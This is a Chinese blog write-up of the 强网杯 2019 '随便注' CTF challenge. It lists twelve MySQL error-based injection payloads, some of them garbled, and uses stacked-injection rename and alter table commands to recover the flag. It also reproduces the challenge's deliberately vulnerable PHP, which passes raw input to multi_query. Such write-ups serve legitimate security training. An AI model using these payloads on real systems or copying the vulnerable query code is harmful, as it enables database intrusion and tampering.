强网杯 2019]随便注解题方式

2024-05-01 21:36

本文主要是介绍强网杯 2019]随便注解题方式,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

先来看题

这里只有一个提交,那我们就先提交看看情况找找思路

这里提交以后发现也没有什么有用的信息

 

这样我们只能根据我们的经验先试试

输入1'发现有报错

 

 有报错信息就可以试试报错注入了,但是这种ctf题通常会有限制字符所以我使用

1' select 1,2#

来试了试select有没有被限制(ps一般都会对select , information等有限制)

 

有限制这里我们就不能考虑报错注入了因为报错注入语句需要用select

其次 select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。

1.通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

这里我列出了12种报错注入语句(这里是引用了别人的文章12种报错注入+万能语句_polygon报错注入-CSDN博客)

这里我们就尝试堆叠注入

1'; show databases#

这里证明堆叠注入可行,我们就继续看看它的表以及列找找flag

1'; show tables#

 

1'; desc `1919810931114514`#

 这里查看这张表这里注意如果表名是全数字要加反引号(ps反引号英文模式下esc下面的键位)

在看看第二张表

1'; desc words#

 

这里我们基本能确定它自己程序的select语句默认的表是words

那思路就有了我们可以把19的表变words words变其他在给19外加一列不就可以查了

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);#

修改完成后我们使用

1' 1=1#

 来爆出flag

 

<html><head><meta charset="UTF-8"><title>easy_sql</title>
</head><body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">姿势: <input type="text" name="inject" value="1"><input type="submit">
</form><pre>
<?php
function waf1($inject) {preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}function waf2($inject) {strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}if(isset($_GET['inject'])) {$id = $_GET['inject'];waf1($id);waf2($id);$mysqli = new mysqli("127.0.0.1","root","root","supersqli");//多条sql语句$sql = "select * from `words` where id = '$id';";$res = $mysqli->multi_query($sql);if ($res){//使用multi_query()执行一条或多条sql语句do{if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果while ($row = $rs->fetch_row()){var_dump($row);echo "<br>";}$rs->Close(); //关闭结果集if ($mysqli->more_results()){  //判断是否还有更多结果集echo "<hr>";}}}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值} else {echo "error ".$mysqli->errno." : ".$mysqli->error;}$mysqli->close();  //关闭数据库连接
}?>
</pre></body></html>

这里把源码发出来可以找找其他解题方式 

 

这篇关于强网杯 2019]随便注解题方式的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/952724

相关文章

C++中零拷贝的多种实现方式

《C++中零拷贝的多种实现方式》本文主要介绍了C++中零拷贝的实现示例,旨在在减少数据在内存中的不必要复制,从而提高程序性能、降低内存使用并减少CPU消耗,零拷贝技术通过多种方式实现,下面就来了解一下... 目录一、C++中零拷贝技术的核心概念二、std::string_view 简介三、std::stri

Linux脚本(shell)的使用方式

《Linux脚本(shell)的使用方式》:本文主要介绍Linux脚本(shell)的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录概述语法详解数学运算表达式Shell变量变量分类环境变量Shell内部变量自定义变量:定义、赋值自定义变量:引用、修改、删

python判断文件是否存在常用的几种方式

《python判断文件是否存在常用的几种方式》在Python中我们在读写文件之前,首先要做的事情就是判断文件是否存在,否则很容易发生错误的情况,:本文主要介绍python判断文件是否存在常用的几种... 目录1. 使用 os.path.exists()2. 使用 os.path.isfile()3. 使用

Mybatis的分页实现方式

《Mybatis的分页实现方式》MyBatis的分页实现方式主要有以下几种,每种方式适用于不同的场景,且在性能、灵活性和代码侵入性上有所差异,对Mybatis的分页实现方式感兴趣的朋友一起看看吧... 目录​1. 原生 SQL 分页(物理分页)​​2. RowBounds 分页(逻辑分页)​​3. Page

Linux链表操作方式

《Linux链表操作方式》:本文主要介绍Linux链表操作方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、链表基础概念与内核链表优势二、内核链表结构与宏解析三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势六、典型应用场景七、调试技巧与

Linux实现线程同步的多种方式汇总

《Linux实现线程同步的多种方式汇总》本文详细介绍了Linux下线程同步的多种方法,包括互斥锁、自旋锁、信号量以及它们的使用示例,通过这些同步机制,可以解决线程安全问题,防止资源竞争导致的错误,示例... 目录什么是线程同步?一、互斥锁(单人洗手间规则)适用场景:特点:二、条件变量(咖啡厅取餐系统)工作流

RedisTemplate默认序列化方式显示中文乱码的解决

《RedisTemplate默认序列化方式显示中文乱码的解决》本文主要介绍了SpringDataRedis默认使用JdkSerializationRedisSerializer导致数据乱码,文中通过示... 目录1. 问题原因2. 解决方案3. 配置类示例4. 配置说明5. 使用示例6. 验证存储结果7.

Python程序打包exe,单文件和多文件方式

《Python程序打包exe,单文件和多文件方式》:本文主要介绍Python程序打包exe,单文件和多文件方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录python 脚本打成exe文件安装Pyinstaller准备一个ico图标打包方式一(适用于文件较少的程

Python验证码识别方式(使用pytesseract库)

《Python验证码识别方式(使用pytesseract库)》:本文主要介绍Python验证码识别方式(使用pytesseract库),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全... 目录1、安装Tesseract-OCR2、在python中使用3、本地图片识别4、结合playwrigh

Spring中管理bean对象的方式(专业级说明)

《Spring中管理bean对象的方式(专业级说明)》在Spring框架中,Bean的管理是核心功能,主要通过IoC(控制反转)容器实现,下面给大家介绍Spring中管理bean对象的方式,感兴趣的朋... 目录1.Bean的声明与注册1.1 基于XML配置1.2 基于注解(主流方式)1.3 基于Java